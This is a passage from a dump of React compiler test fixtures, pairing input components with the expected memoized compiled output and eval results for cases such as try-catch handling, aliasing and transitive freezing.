    "content": "function useFoo(props: {value: {x: string; y: string} | null}) {\n  const value = props.value;\n  return createArray(value?.x, value?.y)?.join(', ');\n}\n\nfunction createArray<T>(...args: Array<T>): Array<T> {\n  return args;\n}\n\nexport const FIXTURE_ENTRYPONT = {\n  fn: useFoo,\n  props: [{value: null}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nconst SCALE = 2;\nfunction Component(props) {\n  const {[props.name]: value} = props;\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nInvariant: [InferMutationAliasingEffects] Expected value kind to be initialized\n\n<unknown> value$3.\n\ntodo.error.object-pattern-computed-key.ts:6:9\n  4 | function Component(props) {\n  5 |   const {[props.name]: value} = props;\n> 6 |   return value;\n    |          ^^^^^ this is uninitialized\n  7 | }\n  8 |\n  9 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.error.object-pattern-computed-key.js",
    "content": "import {identity} from 'shared-runtime';\n\nconst SCALE = 2;\nfunction Component(props) {\n  const {[props.name]: value} = props;\n  return value;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{name: 'Sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useHook(nodeID, condition) {\n  const graph = useContext(GraphContext);\n  const node = nodeID != null ? graph[nodeID] : null;\n\n  // (2) Instead we can create a scope around the loop since the loop produces an escaping value\n  let value;\n  for (const key of Object.keys(node?.fields ?? {})) {\n    if (condition) {\n      // (1) We currently create a scope just for this instruction, then later prune the scope because\n      // it's inside a loop\n      value = new Class(node.fields?.[field]);\n      break;\n    }\n  }\n  return value;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useHook(nodeID, condition) {\n  const $ = _c(6);\n  const graph = useContext(GraphContext);\n  const node = nodeID != null ? graph[nodeID] : null;\n\n  let value;\n  let t0;\n  if ($[0] !== node?.fields) {\n    t0 = Object.keys(node?.fields ?? {});\n    $[0] = node?.fields;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  if ($[2] !== condition || $[3] !== node || $[4] !== t0) {\n    for (const key of t0) {\n      if (condition) {\n        value = new Class(node.fields?.[field]);\n        break;\n      }\n    }\n    $[2] = condition;\n    $[3] = node;\n    $[4] = t0;\n    $[5] = value;\n  } else {\n    value = $[5];\n  }\n\n  return value;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.memoize-loops-that-produce-memoizeable-values.js",
    "content": "function useHook(nodeID, condition) {\n  const graph = useContext(GraphContext);\n  const node = nodeID != null ? graph[nodeID] : null;\n\n  // (2) Instead we can create a scope around the loop since the loop produces an escaping value\n  let value;\n  for (const key of Object.keys(node?.fields ?? {})) {\n    if (condition) {\n      // (1) We currently create a scope just for this instruction, then later prune the scope because\n      // it's inside a loop\n      value = new Class(node.fields?.[field]);\n      break;\n    }\n  }\n  return value;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const data = useFreeze(); // assume this returns {items: Array<{...}>}\n  // In this call `data` and `data.items` have a read effect *and* the lambda itself\n  // is readonly (it doesn't capture ony mutable references). Further, we ca\n  // theoretically determine that the lambda doesn't need to be memoized, since\n  // data.items is an Array and Array.prototype.map does not capture its input (callback)\n  // in the return value.\n  // An observation is that even without knowing the exact type of `data`, if we know\n  // that it is a plain, readonly javascript object, then we can infer that any `.map()`\n  // calls *must* be Array.prototype.map (or else they are a runtime error), since no\n  // other builtin has a .map() function.\n  const items = data.items.map(item => <Item item={item} />);\n  return <div>{items}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(4);\n  const data = useFreeze();\n  let t0;\n  if ($[0] !== data.items) {\n    t0 = data.items.map(_temp);\n    $[0] = data.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const items = t0;\n  let t1;\n  if ($[2] !== items) {\n    t1 = <div>{items}</div>;\n    $[2] = items;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\nfunction _temp(item) {\n  return <Item item={item} />;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo.unnecessary-lambda-memoization.js",
    "content": "function Component(props) {\n  const data = useFreeze(); // assume this returns {items: Array<{...}>}\n  // In this call `data` and `data.items` have a read effect *and* the lambda itself\n  // is readonly (it doesn't capture ony mutable references). Further, we ca\n  // theoretically determine that the lambda doesn't need to be memoized, since\n  // data.items is an Array and Array.prototype.map does not capture its input (callback)\n  // in the return value.\n  // An observation is that even without knowing the exact type of `data`, if we know\n  // that it is a plain, readonly javascript object, then we can infer that any `.map()`\n  // calls *must* be Array.prototype.map (or else they are a runtime error), since no\n  // other builtin has a .map() function.\n  const items = data.items.map(item => <Item item={item} />);\n  return <div>{items}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-alias-fields.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component() {\n  let x = {};\n  let p = {};\n  let q = {};\n  let y = {};\n\n  x.y = y;\n  p.y = x.y;\n  q.y = p.y;\n\n  mutate(q);\n}\n\n```\n\n## Code\n\n```javascript\nfunction component() {\n  const x = {};\n  const p = {};\n  const q = {};\n  const y = {};\n\n  x.y = y;\n  p.y = x.y;\n  q.y = p.y;\n\n  mutate(q);\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-alias-fields.js",
    "content": "function component() {\n  let x = {};\n  let p = {};\n  let q = {};\n  let y = {};\n\n  x.y = y;\n  p.y = x.y;\n  q.y = p.y;\n\n  mutate(q);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nconst {mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = {};\n  const y = {};\n  const items = [x, y];\n  items.pop();\n  <div>{items}</div>; // note: enablePreserveExistingMemoizationGuarantees only visits function expressions, not arrays, so this doesn't freeze x/y\n  mutate(y); // ok! not part of `items` anymore bc of items.pop()\n  return [x, y, items];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nconst { mutate } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = {};\n    const y = {};\n    const items = [x, y];\n    items.pop();\n    mutate(y);\n    t0 = [x, y, items];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{},{\"wat0\":\"joe\"},[\"[[ cyclic ref *1 ]]\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-array.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nconst {mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = {};\n  const y = {};\n  const items = [x, y];\n  items.pop();\n  <div>{items}</div>; // note: enablePreserveExistingMemoizationGuarantees only visits function expressions, not arrays, so this doesn't freeze x/y\n  mutate(y); // ok! not part of `items` anymore bc of items.pop()\n  return [x, y, items];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTransitivelyFreezeFunctionExpressions\nfunction Component(props) {\n  const {data, loadNext, isLoadingNext} =\n    usePaginationFragment(props.key).items ?? [];\n\n  const loadMoreWithTiming = () => {\n    if (data.length === 0) {\n      return;\n    }\n    loadNext();\n  };\n\n  useEffect(() => {\n    if (isLoadingNext) {\n      return;\n    }\n    loadMoreWithTiming();\n  }, [isLoadingNext, loadMoreWithTiming]);\n\n  const items = data.map(x => x);\n\n  return items;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTransitivelyFreezeFunctionExpressions\nfunction Component(props) {\n  const $ = _c(9);\n  const { data, loadNext, isLoadingNext } =\n    usePaginationFragment(props.key).items ?? [];\n  let t0;\n  if ($[0] !== data.length || $[1] !== loadNext) {\n    t0 = () => {\n      if (data.length === 0) {\n        return;\n      }\n\n      loadNext();\n    };\n    $[0] = data.length;\n    $[1] = loadNext;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  const loadMoreWithTiming = t0;\n  let t1;\n  let t2;\n  if ($[3] !== isLoadingNext || $[4] !== loadMoreWithTiming) {\n    t1 = () => {\n      if (isLoadingNext) {\n        return;\n      }\n      loadMoreWithTiming();\n    };\n    t2 = [isLoadingNext, loadMoreWithTiming];\n    $[3] = isLoadingNext;\n    $[4] = loadMoreWithTiming;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t1 = $[5];\n    t2 = $[6];\n  }\n  useEffect(t1, t2);\n  let t3;\n  if ($[7] !== data) {\n    t3 = data.map(_temp);\n    $[7] = data;\n    $[8] = t3;\n  } else {\n    t3 = $[8];\n  }\n  const items = t3;\n\n  return items;\n}\nfunction _temp(x) {\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/transitive-freeze-function-expressions.js",
    "content": "// @enableTransitivelyFreezeFunctionExpressions\nfunction Component(props) {\n  const {data, loadNext, isLoadingNext} =\n    usePaginationFragment(props.key).items ?? [];\n\n  const loadMoreWithTiming = () => {\n    if (data.length === 0) {\n      return;\n    }\n    loadNext();\n  };\n\n  useEffect(() => {\n    if (isLoadingNext) {\n      return;\n    }\n    loadMoreWithTiming();\n  }, [isLoadingNext, loadMoreWithTiming]);\n\n  const items = data.map(x => x);\n\n  return items;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(x) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(x) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/trivial.js",
    "content": "function foo(x) {\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let y;\n  let x = [];\n  try {\n    // throws x\n    throwInput(x);\n  } catch (e) {\n    // e = x\n    y = e; // y = x\n  }\n  y.push(null);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst { throwInput } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const $ = _c(1);\n  let x;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    let y;\n    x = [];\n    try {\n      throwInput(x);\n    } catch (t0) {\n      const e = t0;\n\n      y = e;\n    }\n\n    y.push(null);\n    $[0] = x;\n  } else {\n    x = $[0];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-alias-try-values.js",
    "content": "const {throwInput} = require('shared-runtime');\n\nfunction Component(props) {\n  let y;\n  let x = [];\n  try {\n    // throws x\n    throwInput(x);\n  } catch (e) {\n    // e = x\n    y = e; // y = x\n  }\n  y.push(null);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = props.default;\n  try {\n  } catch (e) {\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{default: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const x = props.default;\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ default: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-empty-try.js",
    "content": "function Component(props) {\n  let x = props.default;\n  try {\n  } catch (e) {\n    x = e;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{default: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {mutate, setProperty, throwErrorWithMessageIf} from 'shared-runtime';\n\nfunction useFoo({value, cond}) {\n  let y = [value];\n  let x = {cond};\n\n  try {\n    mutate(x);\n    throwErrorWithMessageIf(x.cond, 'error');\n  } catch {\n    setProperty(x, 'henderson');\n    return x;\n  }\n  setProperty(x, 'nevada');\n  y.push(x);\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{value: 4, cond: true}],\n  sequentialRenders: [\n    {value: 4, cond: true},\n    {value: 5, cond: true},\n    {value: 5, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { mutate, setProperty, throwErrorWithMessageIf } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(6);\n  const { value, cond } = t0;\n  let t1;\n  let y;\n  if ($[0] !== cond || $[1] !== value) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      y = [value];\n      let x;\n      if ($[4] !== cond) {\n        x = { cond };\n        try {\n          mutate(x);\n          throwErrorWithMessageIf(x.cond, \"error\");\n        } catch {\n          setProperty(x, \"henderson\");\n          t1 = x;\n          break bb0;\n        }\n\n        setProperty(x, \"nevada\");\n        $[4] = cond;\n        $[5] = x;\n      } else {\n        x = $[5];\n      }\n      y.push(x);\n    }\n    $[0] = cond;\n    $[1] = value;\n    $[2] = t1;\n    $[3] = y;\n  } else {\n    t1 = $[2];\n    y = $[3];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ value: 4, cond: true }],\n  sequentialRenders: [\n    { value: 4, cond: true },\n    { value: 5, cond: true },\n    { value: 5, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"cond\":true,\"wat0\":\"joe\",\"wat1\":\"henderson\"}\n{\"cond\":true,\"wat0\":\"joe\",\"wat1\":\"henderson\"}\n[5,{\"cond\":false,\"wat0\":\"joe\",\"wat1\":\"nevada\"}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-in-nested-scope.ts",
    "content": "import {mutate, setProperty, throwErrorWithMessageIf} from 'shared-runtime';\n\nfunction useFoo({value, cond}) {\n  let y = [value];\n  let x = {cond};\n\n  try {\n    mutate(x);\n    throwErrorWithMessageIf(x.cond, 'error');\n  } catch {\n    setProperty(x, 'henderson');\n    return x;\n  }\n  setProperty(x, 'nevada');\n  y.push(x);\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{value: 4, cond: true}],\n  sequentialRenders: [\n    {value: 4, cond: true},\n    {value: 5, cond: true},\n    {value: 5, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({cond, obj, items}) {\n  try {\n    // items.length is accessed WITHIN the && expression\n    const result = cond && obj?.value && items.length;\n    return <div>{String(result)}</div>;\n  } catch {\n    return <div>error</div>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, obj: {value: 'hello'}, items: [1, 2]}],\n  sequentialRenders: [\n    {cond: true, obj: {value: 'hello'}, items: [1, 2]},\n    {cond: true, obj: {value: 'hello'}, items: [1, 2]},\n    {cond: true, obj: {value: 'world'}, items: [1, 2, 3]},\n    {cond: false, obj: {value: 'hello'}, items: [1]},\n    {cond: true, obj: null, items: [1]},\n    {cond: true, obj: {value: 'test'}, items: null}, // errors because items.length throws WITHIN the && chain\n    {cond: null, obj: {value: 'test'}, items: [1]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(3);\n  const { cond, obj, items } = t0;\n  try {\n    const result = cond && obj?.value && items.length;\n    const t1 = String(result);\n    let t2;\n    if ($[0] !== t1) {\n      t2 = <div>{t1}</div>;\n      $[0] = t1;\n      $[1] = t2;\n    } else {\n      t2 = $[1];\n    }\n    return t2;\n  } catch {\n    let t1;\n    if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <div>error</div>;\n      $[2] = t1;\n    } else {\n      t1 = $[2];\n    }\n    return t1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, obj: { value: \"hello\" }, items: [1, 2] }],\n  sequentialRenders: [\n    { cond: true, obj: { value: \"hello\" }, items: [1, 2] },\n    { cond: true, obj: { value: \"hello\" }, items: [1, 2] },\n    { cond: true, obj: { value: \"world\" }, items: [1, 2, 3] },\n    { cond: false, obj: { value: \"hello\" }, items: [1] },\n    { cond: true, obj: null, items: [1] },\n    { cond: true, obj: { value: \"test\" }, items: null }, // errors because items.length throws WITHIN the && chain\n    { cond: null, obj: { value: \"test\" }, items: [1] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>2</div>\n<div>2</div>\n<div>3</div>\n<div>false</div>\n<div>undefined</div>\n<div>error</div>\n<div>null</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-and-optional.js",
    "content": "function Component({cond, obj, items}) {\n  try {\n    // items.length is accessed WITHIN the && expression\n    const result = cond && obj?.value && items.length;\n    return <div>{String(result)}</div>;\n  } catch {\n    return <div>error</div>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, obj: {value: 'hello'}, items: [1, 2]}],\n  sequentialRenders: [\n    {cond: true, obj: {value: 'hello'}, items: [1, 2]},\n    {cond: true, obj: {value: 'hello'}, items: [1, 2]},\n    {cond: true, obj: {value: 'world'}, items: [1, 2, 3]},\n    {cond: false, obj: {value: 'hello'}, items: [1]},\n    {cond: true, obj: null, items: [1]},\n    {cond: true, obj: {value: 'test'}, items: null}, // errors because items.length throws WITHIN the && chain\n    {cond: null, obj: {value: 'test'}, items: [1]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let result;\n  try {\n    // items.length is accessed WITHIN the && expression\n    result = props.cond && props.foo && props.items.length;\n  } catch (e) {\n    result = 'error';\n  }\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, foo: true, items: [1, 2, 3]}],\n  sequentialRenders: [\n    {cond: true, foo: true, items: [1, 2, 3]},\n    {cond: true, foo: true, items: [1, 2, 3]},\n    {cond: true, foo: true, items: [1, 2, 3, 4]},\n    {cond: false, foo: true, items: [1, 2, 3]},\n    {cond: true, foo: false, items: [1, 2, 3]},\n    {cond: true, foo: true, items: null}, // errors because props.items.length throws\n    {cond: null, foo: true, items: [1]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let result;\n  try {\n    result = props.cond && props.foo && props.items.length;\n  } catch (t0) {\n    result = \"error\";\n  }\n\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, foo: true, items: [1, 2, 3] }],\n  sequentialRenders: [\n    { cond: true, foo: true, items: [1, 2, 3] },\n    { cond: true, foo: true, items: [1, 2, 3] },\n    { cond: true, foo: true, items: [1, 2, 3, 4] },\n    { cond: false, foo: true, items: [1, 2, 3] },\n    { cond: true, foo: false, items: [1, 2, 3] },\n    { cond: true, foo: true, items: null }, // errors because props.items.length throws\n    { cond: null, foo: true, items: [1] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) 3\n3\n4\nfalse\nfalse\n\"error\"\nnull"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-logical-expression.js",
    "content": "function Component(props) {\n  let result;\n  try {\n    // items.length is accessed WITHIN the && expression\n    result = props.cond && props.foo && props.items.length;\n  } catch (e) {\n    result = 'error';\n  }\n  return result;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, foo: true, items: [1, 2, 3]}],\n  sequentialRenders: [\n    {cond: true, foo: true, items: [1, 2, 3]},\n    {cond: true, foo: true, items: [1, 2, 3]},\n    {cond: true, foo: true, items: [1, 2, 3, 4]},\n    {cond: false, foo: true, items: [1, 2, 3]},\n    {cond: true, foo: false, items: [1, 2, 3]},\n    {cond: true, foo: true, items: null}, // errors because props.items.length throws\n    {cond: null, foo: true, items: [1]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\n/**\n * Not safe to hoist read of maybeNullObject.value.inner outside of the\n * try-catch block, as that might throw\n */\nfunction useFoo(maybeNullObject: {value: {inner: number}} | null) {\n  const y = [];\n  try {\n    y.push(identity(maybeNullObject.value.inner));\n  } catch {\n    y.push('null');\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [null],\n  sequentialRenders: [null, {value: 2}, {value: 3}, null],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\n/**\n * Not safe to hoist read of maybeNullObject.value.inner outside of the\n * try-catch block, as that might throw\n */\nfunction useFoo(maybeNullObject) {\n  const $ = _c(4);\n  let y;\n  if ($[0] !== maybeNullObject) {\n    y = [];\n    try {\n      let t0;\n      if ($[2] !== maybeNullObject.value.inner) {\n        t0 = identity(maybeNullObject.value.inner);\n        $[2] = maybeNullObject.value.inner;\n        $[3] = t0;\n      } else {\n        t0 = $[3];\n      }\n      y.push(t0);\n    } catch {\n      y.push(\"null\");\n    }\n    $[0] = maybeNullObject;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [null],\n  sequentialRenders: [null, { value: 2 }, { value: 3 }, null],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"null\"]\n[null]\n[null]\n[\"null\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-maybe-null-dependency.ts",
    "content": "import {identity} from 'shared-runtime';\n\n/**\n * Not safe to hoist read of maybeNullObject.value.inner outside of the\n * try-catch block, as that might throw\n */\nfunction useFoo(maybeNullObject: {value: {inner: number}} | null) {\n  const y = [];\n  try {\n    y.push(identity(maybeNullObject.value.inner));\n  } catch {\n    y.push('null');\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [null],\n  sequentialRenders: [null, {value: 2}, {value: 3}, null],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({a, b, cond, items}) {\n  try {\n    const x = a?.value;\n    // items.length is accessed WITHIN the ternary expression - throws if items is null\n    const y = cond ? b?.first : items.length;\n    const z = x && y;\n    return (\n      <div>\n        {String(x)}-{String(y)}-{String(z)}\n      </div>\n    );\n  } catch {\n    return <div>error</div>;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3],\n    },\n  ],\n  sequentialRenders: [\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3],\n    },\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3],\n    },\n    {\n      a: {value: 'A'},\n      b: {first: 'B1', second: 'B2'},\n      cond: false,\n      items: [1, 2],\n    },\n    {a: null, b: {first: 'B1', second: 'B2'}, cond: true, items: [1, 2, 3]},\n    {a: {value: 'A'}, b: null, cond: true, items: [1, 2, 3]}, // b?.first is safe (returns undefined)\n    {a: {value: 'A'}, b: {first: 'B1', second: 'B2'}, cond: false, items: null}, // errors because items.length throws when cond=false\n    {\n      a: {value: ''},\n      b: {first: 'B1', second: 'B2'},\n      cond: true,\n      items: [1, 2, 3, 4],\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(5);\n  const { a, b, cond, items } = t0;\n  try {\n    const x = a?.value;\n\n    const y = cond ? b?.first : items.length;\n    const z = x && y;\n\n    const t1 = String(x);\n    const t2 = String(y);\n    const t3 = String(z);\n    let t4;\n    if ($[0] !== t1 || $[1] !== t2 || $[2] !== t3) {\n      t4 = (\n        <div>\n          {t1}-{t2}-{t3}\n        </div>\n      );\n      $[0] = t1;\n      $[1] = t2;\n      $[2] = t3;\n      $[3] = t4;\n    } else {\n      t4 = $[3];\n    }\n    return t4;\n  } catch {\n    let t1;\n    if ($[4] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <div>error</div>;\n      $[4] = t1;\n    } else {\n      t1 = $[4];\n    }\n    return t1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\n    {\n      a: { value: \"A\" },\n      b: { first: \"B1\", second: \"B2\" },\n      cond: true,\n      items: [1, 2, 3],\n    },\n  ],\n\n  sequentialRenders: [\n    {\n      a: { value: \"A\" },\n      b: { first: \"B1\", second: \"B2\" },\n      cond: true,\n      items: [1, 2, 3],\n    },\n    {\n      a: { value: \"A\" },\n      b: { first: \"B1\", second: \"B2\" },\n      cond: true,\n      items: [1, 2, 3],\n    },\n    {\n      a: { value: \"A\" },\n      b: { first: \"B1\", second: \"B2\" },\n      cond: false,\n      items: [1, 2],\n    },\n    { a: null, b: { first: \"B1\", second: \"B2\" }, cond: true, items: [1, 2, 3] },\n    { a: { value: \"A\" }, b: null, cond: true, items: [1, 2, 3] }, // b?.first is safe (returns undefined)\n    {\n      a: { value: \"A\" },\n      b: { first: \"B1\", second: \"B2\" },\n      cond: false,\n      items: null,\n    }, // errors because items.length throws when cond=false\n    {\n      a: { value: \"\" },\n      b: { first: \"B1\", second: \"B2\" },\n      cond: true,\n      items: [1, 2, 3, 4],\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>A-B1-B1</div>\n<div>A-B1-B1</div>\n<div>A-2-2</div>\n<div>undefined-B1-undefined</div>\n<div>A-undefined-undefined</div>\n<div>error</div>\n<div>-B1-</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/try-catch-multiple-value-blocks.js",
